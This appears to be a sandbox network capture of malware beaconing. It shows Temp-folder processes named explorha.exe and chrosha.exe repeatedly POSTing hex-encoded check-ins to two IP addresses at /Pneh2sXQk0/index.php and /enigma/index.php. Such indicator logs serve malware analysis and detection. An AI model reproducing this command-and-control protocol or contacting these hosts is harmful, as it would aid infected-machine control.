Apr 19, 2024 03:33:54.886517048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.5	50705	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:54.888698101 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:55.144784927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.5	50706	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:55.247536898 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:55.496339083 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.5	50707	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:55.512242079 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:55.759602070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.5	50708	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:55.745868921 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:55.992925882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.5	50709	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:56.011627913 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:56.263961077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.5	50710	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:56.356065035 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:56.605307102 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.5	50711	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:56.622217894 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:56.870923042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.5	50712	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:56.852037907 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:57.098959923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.5	50713	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:57.126935959 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:57.378396034 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.5	50714	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:57.463171959 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:57.711149931 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.5	50715	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:57.742928982 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:57.990591049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.5	50716	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:57.961467028 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:58.208513975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.5	50717	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:58.238692999 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:58.486506939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.5	50718	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:58.574690104 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:58.825308084 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.5	50719	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:58.835059881 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:59.076713085 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.5	50720	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:59.078949928 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:59.329955101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.5	50721	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:59.329852104 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:59.581497908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.5	50722	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:59.702939987 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:59.954283953 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.5	50723	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:59.947932959 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:00.196017027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.5	50724	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:00.211196899 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:00.467350960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.5	50725	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:00.445892096 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:00.694122076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.5	50726	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:00.824078083 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:01.072170019 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.5	50727	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:01.055386066 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:01.297883987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
